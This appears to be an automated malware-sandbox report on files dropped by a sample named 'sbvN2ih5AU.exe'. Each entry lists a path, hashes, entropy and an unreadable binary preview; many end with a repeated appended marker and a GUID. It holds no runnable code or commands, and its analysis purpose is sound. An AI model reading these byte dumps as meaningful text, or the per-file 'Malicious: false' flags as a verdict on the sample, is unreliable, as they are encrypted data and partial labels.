Preview:	<?xml.Y..G.ay...k.:1.......(.y.L.nO.i.....l....oy.V!.d.P.[=...zg..-B.h.,u...c....._........>.g. ..7....p.a..u~...[...uM..8...B.P:7.'H1....(.(o...[..xBa..O..9].]A.=`h...L...\|.l.....^...e..S.{.:t./..~}&J.....V...wL..........-\|."....>8.{OVR./....\.......B.c....O.....+D..(....<...-.t.d<...V....iJ...\|...:E...bhX..[... sy...Y.<..d.....h{=..[..v....Z......{.pt%..S....N.o..WT.....$.q.w..9FtG(.S.:a)C..@D..3.:....&/9..4...5.,U#Y....Dp.3\|n.{Y<..N....+MYW.l.@N.3.....8.....&D^c{T.k.BqA:...O..z.v=l.Lm./....w..\|..FQe....Z.CA..H.$.z.QY\|..@..K.,"{9w%V...{A.I&b....^L.<.e.'..4.u.P...f..<.5..6......$V4...$.i.c....@...?q.....c4.....^...,.E...!\|........4.....Gs....,)/B!.....(.....}.F.q....+..[..H....&@0....yv.q..g($.J..<6......TN....L?.\....T..a..9.OA;.b..g\|......dq.../hpb..1..,B^:S.v.Z......>W..W.....y'..`.+I/Am/T..e..`.....##_..........S.e...d..V.Tm..5...L.A....a..g......YeO*....rAo.E..u..M........_]3...>.H[..[....8.R...z..h.^...E.n[<.&_.k...@.p.Ew......c

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120402v21.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	4122
Entropy (8bit):	7.95659186979234
Encrypted:	false
SSDEEP:	96:pNfyAnhbueJN0JotHrWCpeUp3WMxUdLDj68Wo2BwcGKvcVFo7Qg:p9pRuJotLXt9xSLD/aBkKvV
MD5:	B193CC9491E92FE666F6D688A44F14BB
SHA1:	4045710513A201C51E084B8040708FE198E2D108
SHA-256:	8E2727C584C48F6BA152105EAF54BCB26F40322B7408C004B19BAA066C672DB8
SHA-512:	AF51F7128B9190FF41EF4834C4A900AE0A4C1D336C10025E8B89DB561A10D284E741FB56E578D65D64C45819940DFC7530C84731B5943962F390FA9CE2FAA2E9
Malicious:	false
Preview:	.<?..6..e..=.T.b.W..\..J.Z.Z..._=..2..h=....-.....6..k.e.c..<p.....IF.....p.._..l@g.6m.N.....7..)..,...C....8...uya..Q......}...z..}....H.,.I...c(.......B.w..:CW........ln...i.I@p.g..E...K03:.......XJN..bW_.K_..,..oqV..P..A2...M.....3g.W.nF.D..U....:@..3.?`.=..H..2qh......o.[Q..7..../.?....@..<.^.....$n.-j..^.C.<o.(..,....q.Iu...Dg...b0e>b?.%.B..+V.H.F-.p..}.J...n..,R...Na.C...U...s.-)..&2{=b..N$."..~q....I1..{..Oa.p.2....Y..w?h-9..>...>.I.5....i...3Re:..0.]P.`.j.q.yF.sK...........^...1......eFU.k...r.E).L!.M...YD\|l.x.f..@.....t.?fa.#..T...Ma.F.c0i...R.K4..@/9.Z.@w7..V...3"\j.x...B.s.8......}~7.#h..O...O.Gq..w..m".H...[u..B~.Kr6..O...C....7...N....7....].e......$.._4..T.A...<...[(J................2..YP..v....I...........="h.=Xo...d."."..-;..a...B.ojz.e~...:.c1....i.s&..7p.....,]8.Dj.. 1.o.qDV.p..q].&..+K..6.+./..ODi......C..R.4..d...j.$+.~.....L.v..8`3......Z..(Lw.......!O.U.6:..02.G.h........x.+*...y.".p....N......zxr.Y....f..IwH.Ka..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120600v4.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3314
Entropy (8bit):	7.9357458941832455
Encrypted:	false
SSDEEP:	96:lNJyVDCDO2VTXPWVOzXnqZWJJKpxJat8k3A:lNAhqXa6XqZWXKvwHw
MD5:	3072A4C6F33EC79E2DF3192EC11387AD
SHA1:	B3B982D2F4448E99A402B500DF622D44F3E78406
SHA-256:	1096AADA2C8DD71336DCE01A6EBF7546D53C24905406A29BB215D8567E6733D6
SHA-512:	FB12004ACEDE8172CAD603FE8AD1BED1D353390CF8F527D1C6D38E5BB2A140445D3C07EFF7831EF3BB5595A87C3A53C2F1C3D31219A3600A324EDDA4A8004755
Malicious:	false
Preview:	.<?....t....]e..^3.[..Q...\\...8.j;>1...P...8....1V-......}.^Q.[..n..E#....T.....w,...\a.f..t.!............lB,..s.K9j..Z.$..H.{sV.2.%....j.6,-.5/.-.).j....WI.....SO.`......M..P].ay.#&[Hq.s. ..F.SD...nr.cY,.b.[XH....s....O9.....<.63...<......m.. ..\....gh.Ig.:.....E.j9...c.?.#.tgep.6t........'....4x.....^..G..H..5.9#.Y..V.f.23..9R.n-....od.d1Zh...we.......=...:....... .......')..5&.)E@..TS..e+...........Z.....?....-.fa.f..............@.q..:..{.qW.'..e..4.:C..j0....:7..K.3.........a....b.U..~..poh:....J.....r.k...>k~..;..\s~...9..b...}.GN/n.b../B.....L..kW...?.7.+"W5t4b.e..=...W....o..A.....7./..z3.V.\|j..{.j.k..)M%1)(....nv.Q.u..4....h.\|..9...r...f.P.\H.e..6I...V..f..n..G.E.........:...b!.....7e.v2.......`V..N....Ge,.,...........v.c........M*..l..9'.....1..M...}.c`;.q..f5...f...,ow~.l.n..vRX8...Z......".\|D..{.a..........M..nx.aV.%.,v=.6^..K).....oj..........`.......5]..C..7....d......[.I..p&.M..d].g...^..]p.m).nH..G........I

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120601v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3676
Entropy (8bit):	7.953210634910059
Encrypted:	false
SSDEEP:	96:uHEuk7pLIltvShI88uImUgi+YQyJB0J2HpC/:luq+z788ujUrSMisJ8
MD5:	27DDE854CB5300CE6F362BE994DFF87C
SHA1:	74B464F0CC9717D091281603D79452916B217D13
SHA-256:	7FF0129DC902FCB03760C2820001E773F0AC658264D3DD939AF4D3FEAD18DB03
SHA-512:	B9BC84CD69D2BA5C5EC68F227A59A8BCE27CFF6FD4CB9D4B4CE4BD5924DD366F0D240C41F8E378C0771B74C54FFED6352E67E670324E7BD85584ACBE30B7AF2C
Malicious:	false
Preview:	.<?..L..CY?9..ZS..D.>.o...S.es...`..z.......].(.(..5.U......d.{W.F#.m"......\1....P.ic....x..D.nr8.q.K.:-..D.6.1../.^.Ie..S.....x.!D=..;xf...!zf....x.-\|../9.(...v.../b...eO......2._.+.....L.]..~........~].yq..JTV.=p..QLi...O.T..........D.<.5.:.C...#...Y..G.M...1."k."u...<NQH.$....r![..9....(.p.+...EY.D..!...H.~.....W.:.b..3..=..0m4.).F.O~h...H.H..ZE.H......<.~..>Wr.W...;.o.....K...7.d....~=...t.8..2.."/\1(..K...o..C~.gR.G..GR;g.;(.\...\|x...Q..9....^.7...I....Lx. .....b......0.`..H......T.....uK........r.3Dn..U.."..z....h..).. ..e/+.Ql{...7.....L("w..iP~.$.R\.ma...6.......k#W}.\..!a.`.>..cb..R.........Xb.{..A..v..wt..%J..#8R.x..(..y..."1.]I.....)....8i.D4.6L...4.K".....k...'....W...TCS...Z.....E.}..4.#..?..E..n.1.!.B....c.~..I....w....;j.....&,U.`...=:#..8s..!/p.O..\|G.&..q..^mL...:J;.F.O..".`.F.N...../.+.4.2..%.mH.f@.>.&.j.5.'.s..........6^..]\|.TKe$.hI..c..2?]:.Q..z1g..7..f5...n...E......b..g).i.@...2........)9.V.O.x].......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120602v8.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2925
Entropy (8bit):	7.9385584397304525
Encrypted:	false
SSDEEP:	48:WBvwiP591679uft+Yxj+48cgUcYl7T+wRSSBsENeLDtX4czxQAPe8GoIClRfblqZ:owiP5v6gft+YxC48cgUcgT+8FBsDNTx+
MD5:	FBA8C16DC34132D8DC5CD8BD15DD1936
SHA1:	F2B4AD17AAD1B77B35860E084C8B524BA91C1897
SHA-256:	C40D208281751E91A90CEA83BFBCE137A3582DA8BFE3C813EBBB066D2F136248
SHA-512:	8B5B90DCBDE319806118A8F0CF02CC8DFC41A620653BEA29FC41A1AA8C320532720B069F855F0C1B5C3B37CD1E471830B6C92EDA7CEFA52C921630C4B762FD4E
Malicious:	false
Preview:	.<?.B..n.g. f;o.H.....jK.`.....Y....z...v..AHuT.(My...C0.fLk..Y!A..H...{..}..Kn<n.,Y.Hg..tj ).I..c.eP.Q.-.v.t2k..Q.zK~9g('e.).V-^..z.'.r......Y.r...9.K....(..[........4bk@.....+.2..........t)P~.o....[.@..F.jG`.y;pt~%V..$......+W...)(..=n......>!..K..dH}.G....A.=k.../"!.U+......U.~...px..5z.U...-6.......!4].a.q...........0x:L........F........lO.......1......W.N..Y.7#..;.G)h.+..wVy.$(:..?4.u.3.o2.[.e%...n......n2.s.s..n..[.J_..<.eBA.._...........D..).X.....?..kkY,!..-{.{.{.XM.JB.C.}@..3...iO..S)~]q1.....}d...h..W.z...^.......Q)........_.D-./..!(F.D...1TM..]..m.'.w..^...8.+.(.R...lX?$hc..@..G9.m.(7.O.....&P.7+.R...2Q./..6.m....=.....Pm.wB..T...T..a......+(..E..3..h..L+.U...D.9...<........a.}..z.l...U........x."Gd.n....)5..e..6..vi...._..j.r.l.3.$.:\|..1#.'S..(G....7.c.......P.U.L......x...Fu...*8W../.../g.7.$.r....I.o...2.0....U.K(].OS:..n.....zH!.........(.3yK~.:u..S.by.c........\|......,.:....3A.7..... ?Yd...;.."?/..?\..n

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120603v8.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2462
Entropy (8bit):	7.932586548840658
Encrypted:	false
SSDEEP:	48:xN/yFqcybhQlQfrvOOLfhBp5VlHL/t7Rbk5aQ4GiQ3hmouQmcto5rOQHD:xKqDe2fr/hBp5/7t7Vk5qQ3IonOrOO
MD5:	8BF4CCDA3AEBE6AB579F087F7436A6BE
SHA1:	EB2D803A638B7F3AF14483A90F3183C1BDC33A5E
SHA-256:	2C26DF131FF6A642225A6349C1A6AD6B77E50CA5D1953D59DE819648A64DD485
SHA-512:	0B9C15026F291B110C58D601AB6A762BAC778667E4E1DBB14063EB9FCCA36FDD36C6F7A7E168A091D51372F6A4C8BEF31AB05D4C2C82632BF14B1690D61AB4B8
Malicious:	false
Preview:	.<?=.Sd{.S..c..8g.L...P.c....iQ.h.^f;[..?.r@..EI..............."..........{.u..........?J.mM.@..Qn\....>u..h..c..../.L.u..=.f..r.e....Y.....e.=..C..6/.a.".gO..~!...2..E.;..PN..O..}f,..1..i.H.z~.......#b..J..aHc..o.........,........U..(:............f......z...su..f(.(.U8/.b....=r...L.....~D...t....R..@R...R.9.9F..J.M..r.}...@&...k.u...IJT.Q........e..B..D.X!...k=h@.:......C.P5..vh.\|j.U..n.....".[8..\|.'-wi>.P...q_..Q.....)..T.....u.......K..9....[.......8...Jw.....x...c.@.......[.w1..[5.wc..oQ....u...i..'V...F..<..uS..a....P.x..7.r9.0E....j..{......U..O8..~..Y...._.o;....Y.......,I...M@ .0>......cI}3.q...?...@qA...../=...$f;...=d..t.X....^#..B..J.bt..K....W..a.l..~=.....O4~......%...SD/o...!i.l.R".y....NE.W.2...G9H.SHU..grHA@8.=.... ..s.x.eY.u'.w.......8g(.`...A.......q....A..........G...?.Z...k.E...y8..n...\._6A{H.:..D!,h..n.....:3.=....UO:._@P..%....io.jB.....U.......%.....?.IQy...j...$....:;..u.!7..e..}.A..z..ot-....ex}H...N

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120607v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	538
Entropy (8bit):	7.6127402635731825
Encrypted:	false
SSDEEP:	12:VXQyU+1cWq012J4JStMPTHMakuOKc8+vAa8PmFT/d82AtlO87WqoSUdNcii9a:5FUKRghtYTsenc8+f8PqdNAT5P2bD
MD5:	240E640D19F30FC60456581CA61508AE
SHA1:	B77B2F8DC3685152250DF150F26F3EA912A05FA8
SHA-256:	4F27216DAFBAF99CF805B92035A1A32FDB677FA59EA244791850B11017A047D7
SHA-512:	DBDE75D153D3E8E3291D51F651A95D6067CF080D44CE62E08EB82529ADE32BA20F41A10A2032E00E51A5490E40627416A8760BCCF3E53F354A944FBBFD46618B
Malicious:	false
Preview:	.<??.[ .f"..?RMa\.f...v.k{..Gh...K.?...@`..Gm[H.g'..}mS...c3..F.w..X..[.E.0...]..e.@........P..S..x...I.....J.&........bV..z...b}=Z.N.L.W.9.DG'Qb...R(.b..b.z...R5(..lodU..}.\....E....T.@i.K.X..j..s..J.......MJ.nX.....7.D........._J6..%.g..$..qA....2..._..W ."\|u......O........H..........%...h.cpF.....F..D.9.....>dR....T..#..n..(v.S.On...P...t...Pe.<.Mq...v...M..K-s..f2..%e.f.T.....CF......d.J,.:h=..5.3A..r...s.;....)I.b.R.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120608v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2494
Entropy (8bit):	7.920569790579221
Encrypted:	false
SSDEEP:	48:sXrfpDWB7GDuO3xcwAiEdXtz8IWAxQ3D6E7jCG/kx1HZ0D:Oa79Uydz8/3D6EiBxM
MD5:	27635A0B9F65929E70393EFA3A408B4D
SHA1:	7AD68BC981D1B67F7C758CE03EB575BD79954650
SHA-256:	6F5FE50EC941BF56DFC627779D8FDDEC0EA09347C528D5F2199F693FAC7654B2
SHA-512:	87B0AED27110DE2675848681D00603F0A84B5E1FA244F3BB615DEAA4400C11C8A3E19BEC39A2BBED04CC51E16A56B6643AFB0BE35FC08F902B2E2A9FDF2C550B
Malicious:	false
Preview:	.<?v.......".......fM.......e.?W^&=.. AF....l.....TE..\..#W\c....2V...-.........A....C_x....}sE.:.U.L......lpP.LT...8.W........{..3@.d./rr..{..y..[E......%..<../.D.]... ..w.^...U.6o....L.t..(.....Z...[...m]..(P.......ZI.3..sE.n..h..%m.... .w.<....kY.MP2..r.1...~...S..k;Qr....Y...^.bz3.5..\.+$..$..V.i#S..#.\@...B."0..W..y.0.hq..@2,.w..GK.eq^....).b...K.y@.o...O. .P.`....y..j...(.OA..8.GQ.1t5:8t.S.......U...]..?..0[@.V..........G.hC........4.Ib#.!....$.d.N.].3...tQHb......../...,...fZ....'o......Q.7...........q....5..OZ.C.......,.U.O..O...L...)..K ..5P.._t.ufyd...m:.r.qLL\.......e1..LTAN.l"l9^Yl.9E/..bD.\$...-.)._.....n>.75.).8T.......S&.1u.4.>....-.@...X<.. .N....S.5.....4.,....!.K.p.E..S2h_."..4..`....$...=.1U.sPQx..AiH...x.`w..).:...}.DnA...e_{.@V..G.......0.yu..W....0........[.['gLYJ.B?........D@0U:t..i...=77.K.y.r.EG>.8.l...nm.V$..\|1...X...;....#...j...4 $^k#..N.......~}.p....z..-AlX8a.R"f..g`..f2.....n<70....yW..........fL.[.jf<VW.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120609v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	742
Entropy (8bit):	7.693701823033577
Encrypted:	false
SSDEEP:	12:zRIOmqN1d/llRsPSI/FrtU9bC+DJGK44tgbbMDaZ/l/lOeRhv6aWFSUdNcii9a:9bm2u6I/FrtU9u+DhSM2dRl6do2bD
MD5:	51E91C3F150422EB2BBE63C832093768
SHA1:	E17AC7EB40E19AD68D7BE188A0326B6826AFBC8E
SHA-256:	2514B8832390A170D537E7EC94DE3EB1B89A2666B9D5A4E66D8DF0B812F6E718
SHA-512:	3DCF6CE405DD50DD14008B6E1B5B06BA3DD489EB63A20AE01388782C83B5B7BAA76796E7C238F1CBFE6973D5AE62978025DC9FC48DC566500D4E9651026F84C9
Malicious:	false
Preview:	.<?S54'.^.&9...c...9b..........a]~=..R.J.SB.a.....CW.c....{ .x.\|.0N.-[wL.Y.mujyt.......9...^.iI.~7..N.....Q...(.......4..VM....!..8.......{Y..n.T..G.Bg.&..LK3...\.cHh.6......8.}T.....k....v...M?(.....=b../........<..q....Ts...:K.8..SC4..$t......0.........~....1>.9o.$u\|.<m...M}E.C.........F'...y.../...u...[....\..f1........(,..u.8.q.."...5a...V..?a>..w..+........:...jJ.P.;......W.y...Q0....1w7.r....:..!.....R1X..........=8`.8... eQ...^p..$....k...b.x...h:..-5z/.afG..3.B.t....(.....0...Oa.)d#.X$.P.t......T.=..i0w...q.a.......f2..3e....,.)qs.../..B.a..P.0...fJ.9!..... ...TXF.BE..yHI..vF%.b.7./.....2...x.....Q.8Z.qI.$.IB..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120610v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.755524072586308
Encrypted:	false
SSDEEP:	12:+izHtwoVtNBpZSQWdYCAniOjHp+LX1jFJiq+TZ/VYX6CklH+DE0CMC7Cs8GN0hcB:xN/tDShiJ+LXtFoqsXYqSIMRy0tv2bD
MD5:	5886B640054B189DAC9A283DF3155C9F
SHA1:	E2663F9031681E854D6BA5D278C96E4552FD228E
SHA-256:	350947BAB6ADC7A68DDB04153EDD4EF0FBBBD0872374405ADBA44BD776E467FF
SHA-512:	E7D76842AD927B5D51B0202F04763ECFC8B3DEBA0E001A6F0C0CDFBD886E2D6CD08622515BAA0C29661696D963C61AAD63085F14B24642BBC4CC9EE502E3CB46
Malicious:	false
Preview:	.<?.._9.S..3....n.-!..1.9.WV......v....N....[....`...[....o....Vw.......c/.V.}.#........]..i+..$%.)6.6v.......>..O...Dg..@......\..$5'Lz.F"G.:........J.p....C.L.\.P......S...c.I.$Iv......\|D..N.U......)?.r.m.s..3-Y...7..76;V...M`.l\I7..B...N..\|M....l..\|..c.?O.....j....C.."...L..q.....uD..$&pEN......s....O._.f.#t5D!.{..s.h...H3...h_.@....>..;._...[8...jw).!..s6.s.2./t.LZ;c;G....#t.]...7r...__O.%.C.e.8.."...]....E...Ek....\|>N.7QY=..0.....o..:~.\.......6bw{@.....2.N..>..8.p.".W.V.C..&U......,.....lM)D.kN..%..d.......'.p.....@...Q...f.K...."Yk;..`...ix..5.2wB.7S..7tW.o&.a...G.f.1.;.>n..y..Y.[Rm..T.*........!.r...........e^.......ft&z..!F.d./....S........m..F..I...X.'}.?..l..[hdI....B..k.p.,...[mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120611v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.74675657969916
Encrypted:	false
SSDEEP:	12:zBTRPBxYdyQyeKOuRFFclnjURTHXFECiE1Mf9YBS9qD6H68yHuzrZf6PI5SUdNcq:zkdyQyeKOaFFUjUZ1EuMVsScD6H9w2oS
MD5:	8EBD62B2519E9E798683D8B3CBBEB85F
SHA1:	A4406E21EBFCFBD6E75DDD7AB9E5D10113F81A12
SHA-256:	725BA422B04FF1740282CB00B85B00830F8CC0081F7B74DC2859A588937D5E5B
SHA-512:	3C58815621E82016E4789D2E376E6B557F04F69D75B980D8B6E0E00EF1F34C61A87F7BC4F6F062428BE23A7FAC05C8C2AD5CAFEBA32DDF85872D6944A05A7D81
Malicious:	false
Preview:	.<?..'..)$p5..c..S.....0..I...t~]M`....d......8..e$...Vnb.[...1.....`n..eM;.jR$...H]v.%5....S5.d.;...?.+3.........0.....E....{.8..5......Z.1..t4u.([.........~9...$F.q....4>.....z.J3..o.....rH.N..UqA^.9+.L..o.....)...NE....T..uD.Y....w.......G.F;0..~...m.........hI..8S.,.[./.....>..lz'...M.f^v..V=9.>N.tf#....\|..h...Y..C..EVNX:u....J.N..e..Y...,.K#.=....+.6..0..d..S.o/.8....H...u..;... ..g.V.U1.Y...ahG.=..5......g..@..!.?..k...)A..E.v.k^....)..~.R%....._2UM...U..\|..C....0.~...S..c....B[.......KG...rY.S<g..?..F..d..s..A.......W..i*.O....4~,...IE{`....H?...i.I.p...nq>.lK.So.kI.C.L.N..<..K1.K.[.....K....N..N0.-....n....B......9..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120612v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.720957528926913
Encrypted:	false
SSDEEP:	12:BmobycGb9AsoxtiQPxh8i2VqH7Rc0A9BjrQDkeS4o5vJhPhDG9ds5R0QSSUdNciD:0o0AlpbcuRFMJQUFeeRZ2bD
MD5:	9488EECBDA311AAEE4FEF894EB5DDEC1
SHA1:	250A675D93ACF426C869D8D65DDA5AFDBED3BF5E
SHA-256:	68AB140899E49F67B4F5277F0319A07D2931C1A991BA111EF1E6599C4215C7D4
SHA-512:	2E5F90DAC4AEE375166FC32272D36A6173E39400E8568568ABF3E57D31408F5FBAA438BC3868B6505C6154E31977474178658A303270B769E1F85703B6BA06EA
Malicious:	false
Preview:	.<?..G..]..i.<.....r..A.l.3Uj..O..O.-....A.......E-..@..E.vdnV...Z.O[.P_.sO....WG..e.#."_.=z#]..Q....Ki...>?.....(^..!.lotXV>;.v.o}..`......u.+.....=?&..X..'.....S?.Y/Y^.AMh.KN\......wkN......7...T.M.zY.%WM_...P5.s.l&.X.q.....?8...M.1...t..{h?.w!.Zq.........@.R9........s...>..;....l...v....[0...M.-ne..M...tx.y.P...1.+.<..t.o.u...o...%.2N..L0..g..2.x...:.pq..E.}.....6;8....3.@...35..}x9U...K.Wl..!.@.r...~......1y...?.........."I.w.RF...^.@.\z..FV.W.._..,.!c4.B..?....^..@.+.w-@f.dp.UI....+W...s[..B...(".).,.7......q,>`H...f.B.,fR.P./5~b.`A....}.M.KP..,.3tx.....P..f....H.c...Z....."!.6LS9......C..h.....5.......SC.q.$t......X.5...I.V.]7...b... M.LD;.4.9...W.t....[......:mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120613v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	966
Entropy (8bit):	7.792472424888193
Encrypted:	false
SSDEEP:	24:dMtM6UdmFhmXd1tP8bwnZxJC8mJR90dnWJ4n4xHfz8oJ9+s7B5a2bD:dMtlUJxw90dB4xL8oT+cjD
MD5:	400F1CF4EB3ACD9B04E59C30EA4C9566
SHA1:	C0B1B9355FEF7559ED607EFB80457B892783AC65
SHA-256:	CB4E1FEC8516C5CDA61119DB70801D344C4D531620CF19FB728D1AA170213CFE
SHA-512:	E2472982437BECDBF2F354EDD4AD0A1086215A94B0693C34C8B99C506EB154BE85A413335074B1C16F6DCC453AFBC87D6E131F02E5F93924FD16A3C736370752
Malicious:	false
Preview:	.<?...].s......7{......pu(n.u(..%.(1..k.\|....%.s..,..o`.q...."..D.H..O.U.^.q.F.e..,i$..u.L..9.,./......,.iJ..T.Yr.U..T....;..%g.E.h@...r1.H.,.?......4...0U..{.gb>E A..Q .....>....S(#.:$.&..Y.<.!..?.[....=/...[$.....i.3.i-..3GP.{.PTJFF?g.R...rK..z..h.q.>.mY..t.']....F@...d.R..56..~..._ ..H6.iv.%......./S..%..........!..\...u.eFd.......8...H...ib..48Q{....W..v.`....H&P;H>L..~..P....-IaE....w+.K.7.;.h..l&...L:....a.\|...^..4cL.=]..w.......U../..9.>...>...."....S...d..a.Q....1.0Q...}.t...<._....A...D.........j.{.!.m.....t...ER.G....D....s.Q.!...8..........sG.rd.....,($..3.qcv....-.W.......$.$..(..k.....80.#H.]/.Q...[.1.e.....Y_.-U..)..y...7......!.p.>y.\|e....+<vw.Y..(F..5..7..4.}\(.s*.J....iZ.w..!.N4.a..&.,..>........l.......h..i...3..l)..F#..,<..,..6..y.KJ..>.... $..l...c{..m..q.m.`.J.>..i...>......8.eh?..pi.N.o4....}?&u..T..P....4.5.x...R.w.!mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120614v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.778850391404471
Encrypted:	false
SSDEEP:	24:E687cngJR8tWWB4XR3tw97SKvN0r+EV7z7222bD:b8gTWWBy3C97SSN0rpV7ED
MD5:	ACBA4B1A9FAC9489CB74F04A81EF9CF9
SHA1:	31947E72FA8B7BBEFBFEFEAE209A7494E6102930
SHA-256:	9A31E59C14BAFB51813FC7DCF815684B1F462C72C5909DD75349E36377958D61
SHA-512:	C5F74E1E6E6BA86EFEA3ABF8E52B77F199E2B29E5095CEF36CC344165BE7B312C6687EB4BC9B22D30F5ED6A4310E59AFF989AE794943BBF2DCFBC9EB5E7F8FA2
Malicious:	false
Preview:	.<?...M.. .u.H..^C..#...[..[..ma..H.D:.<b...[.Q.:P.{..HQ..X.........5.0...;.z..v.....G...8h.....q..hO.";/`.....}N..JH'V.6q...x....t.m.....\.y.K.z...K.....d.Y......v..4.R.... -n_I....8D?......CC....#...~Z..B....Y..(x^.ye.w- q.\|EG d.....n..E:........e...QL./y.._y.#oK....R.......~f.k.i...B.Je...w.....].f...oud.SU....6E.0u.<..Ec...{..>P..qp.....uF.......(q.1.....3...$.b.\|,Q.Gj...}...X.a..?:...>$....2...n.......!....1O.B&fg.....`.....=.2..<...d%.7..Eb..NG.!0t.l.w.....%.W....!-..L.O...7S......x.H..$....q.......g......?slA=.M5.]B.BH5g!.(.{....U..V.9.s.L.P.&..{f.U.r.....T\|f........H%.....rU..\j.M.Lky..Y..}...C.u.H...m....+.D.,.f.u.....-<.....!..=...u...ols..y....4.......7.<..-.M.q."....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120615v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.715100781455507
Encrypted:	false
SSDEEP:	12:CTY9/nHuQNTBtcPudpwFs/wqQMsIS+tmXNspG3SXx124EdgwMSUdNcii9a:NtHTfcPudpUsFftSKM3SXzArT2bD
MD5:	673C3851996C385F2A5C6F95D28FC6D5
SHA1:	338C258D6ED524C1F83ABBF4503476C4E81FB920
SHA-256:	D2EEE38B4F2AF5DC3D248E5D10D96E3C6142207404F008810FE0A84311274DE0
SHA-512:	3523F8677655EEB5BB1D92F6F82E690C425335DB1668EF12ACC827416BBE37C6BAF38D0F811376094904A154635AF062BF66A2B39AE7FDE6D03FAEB69A698A19
Malicious:	false
Preview:	.<?...,y.y.P@@...1..n..l...1. .....$y1(Ei..N.........ee.RL.c..0..-.J.x....69....^.1........U..'..Xq..d.T.k4c>Ul...L..=?...u6..2.8n..X0.lr^.^.GJ..J..."!V.7.'JB...............G...$:.s....7..3.?.i....`.>$v.[.el}UK..l...i.._..w.d.....E.{aV...F.Q...<tR.WT+%.ms...o3.d$..."}..g..[.'.x=eDZ..P....p>Gh............U....{.J+.......{.R....!.(n&e....v.f...h&K1...[...<.... .. ....`..h.&.B..QjVQ.g.-:IW..=.H.s.75......E...\de2...j.9.g.Q.....c\|-..N...;.$...Em..~.Y....\(...zbt..9T.(.......+.u.N.#..mp."..#.6./..+.p...h....{kF.Db.72.....E0./.....6../_.?.$D.u.............JCJI.....j..5c.UL/Zv3V.9..'.x..WF..<T.F.S.^....>..gTvR..Y.].......b..k.?mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120616v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	820
Entropy (8bit):	7.728260236409798
Encrypted:	false
SSDEEP:	24:uHQg2YqT32uhu/A+cM9scUz7kW+ZzKCUUhRsdZ42pM2bD:uw9rmmMyczE1UhRsdpD
MD5:	83831C71A06EC5F1498D7CA66934D906
SHA1:	17496AABF0DA5C79AA81ECB0E1E3F415F652DA3B
SHA-256:	7767386E73E4DCD3CC751F6CC32EF0539741E215191CE44D2B4DF9E68C9E0CBB
